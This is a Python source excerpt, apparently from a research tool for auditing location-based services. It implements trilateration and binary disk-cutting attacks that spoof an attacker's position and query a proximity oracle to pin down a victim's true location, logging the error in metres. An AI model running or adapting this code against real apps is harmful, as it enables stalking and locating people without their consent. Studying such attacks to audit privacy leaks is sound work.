def _run_binary(self, inter, radius, grid_size=20): """Runs binary on area Args: @inter: the projected polygon in which we are running the binary attack algorithm @radius: the radius of the disk to perform the cuts """ vb.vb_print(self.verbose, "Running Binary", "UDP", True) last_inter_area = float('inf') while (inter.area > self.BINARY_STOP_AREA and self.attack_queries < self.query_limit): vb.vb_print(self.verbose, "Estimating cut", "UDP", True) # find projected coordinates that cut inter in half proj_coords = cells.cut(inter, self.proj, radius, grid_size) circle = Point(proj_coords[0], proj_coords[1]).buffer(radius * 1000) self.json_out["DUDP"].append({"query": self.attack_queries, "disk": self._log_kml("disk", circle), "active_area": self._log_kml("inter", inter), }) # calculate the coordinates for the new cut query (query_lon, query_lat) = self.proj(proj_coords[0], proj_coords[1], inverse=True) self._place_at_coords(self.attacker, query_lat, query_lon, self.test_id) if self.oracle is None: raise SystemExit("oracle should not be None after coverage") oracle_rspn = [None, None] attempts = 0 while oracle_rspn[0] is None: # ask the oracle if the victim is in proximity oracle_rspn = self.oracle.in_proximity(self.attacker, self.victim, self.test_id) # increase queries self.attack_queries += oracle_rspn[1] if oracle_rspn[0] is None and attempts > 5: self._update_attacker() attempts += 1 if oracle_rspn[0] is True: # if in proximity take the intersection inter_new = inter.intersection(circle) else: # else take the difference inter_new = inter.difference(circle) if inter_new.is_empty: print "\n\n\t ***WARNING!! EMPTY INTERSECTION***\n\n" inter = circle else: inter = inter_new # log kml self._log_kml("inter", inter) # if area is not reduced after intersection # break to avoid an infinite loop. area = inter.area if math.fabs(last_inter_area - area) < self.MIN_REDUCTION * area: vb.vb_print(self.verbose, "Area not significantly reduced ..stopping", "UDP", True) break else: last_inter_area = inter.area est_location = cells.poly_centroid(inter, self.proj) vb.vb_print(self.verbose, "Estimated Location: " + str(est_location), "UDP", True) real_est_distance = earth.distance_on_unit_sphere(self.victim.loc[0], self.victim.loc[1], est_location[0], est_location[1]) # convert to m real_est_distance *= 1000 vb.vb_print(self.verbose, "Distance from real loc: " + str(real_est_distance) + "m", "UDP", True) self.json_out["est_location"].append({"query": self.attack_queries, "area" : inter.area, "coords": [est_location[0], est_location[1]]}) self.json_out["real_location"].append({"query": -1, "coords": [self.victim.loc[0], self.victim.loc[1]]}) output_json = ''.join(os.getcwd() + "/" + self.JSON_DIR) output_json += self.service_name + "_UDP_" with open(output_json + str(self.test_id) + ".json", "w") as outfile: json.dump(self.json_out, outfile) return real_est_distance
def _run_trilateration(self, rounding_classes): """Runs a variance of the trilateration attack on the search_area Args: rouding_classes: a list of intervals with the radiuses Returns: A polygon in projected coordinates containing the target """ vb.vb_print(self.verbose, "Running trilateration", "UDP", True) # get minimum radius in the rounding classes MIN_R = sorted([cl[0] for cl in rounding_classes])[0][0] #initially the intersection is the whole area inter = self.search_area # place the attacker in the center if self.attacker.loc is None or self.attacker.loc[0] is None: starting_loc = cells.poly_centroid(inter, self.proj) self._place_at_coords(self.attacker, starting_loc[0], starting_loc[1], self.test_id) if self.oracle is None: self.oracle = apo.RoundingProximityOracle(self.auditor, rounding_classes, self.verbose) # initially get a rough estimate with 3 queries from # three locations at a distance of 120 degrees. # Initiate intersection rings rings = [] for i in range(3): # get a ring and check if we are switching to binary ring_response = self.__get_ring(MIN_R) if ring_response is None: raise SystemExit("victim not found") else: distance_range, ring = ring_response self._log_kml("ring", ring) rings.append(ring) #XXX no need to check for multipolygon in case of DUDP # as we are working inside a polygonal area inter_new = None if inter.geom_type == "MultiPolygon": for p in inter: cut_inter = p.intersection(ring) if inter_new is None: inter_new = cut_inter else: inter_new = inter_new.union(cut_inter) else: inter_new = inter.intersection(ring) # update the intersection inter = ring if inter_new.is_empty else inter_new # log kml files self.json_out["RUDP"].append({"query": self.attack_queries, "ring": self._log_kml("ring", ring), "active_area": self._log_kml("inter", inter), }) # update attacker location dist = float(distance_range[0] + distance_range[1]) / 2 # calculate new location for the next query new_loc = earth.point_on_earth(self.attacker.loc[0], self.attacker.loc[1], dist, i * 120) self._place_at_coords(self.attacker, new_loc[0], new_loc[1], self.test_id) # switch to binary return inter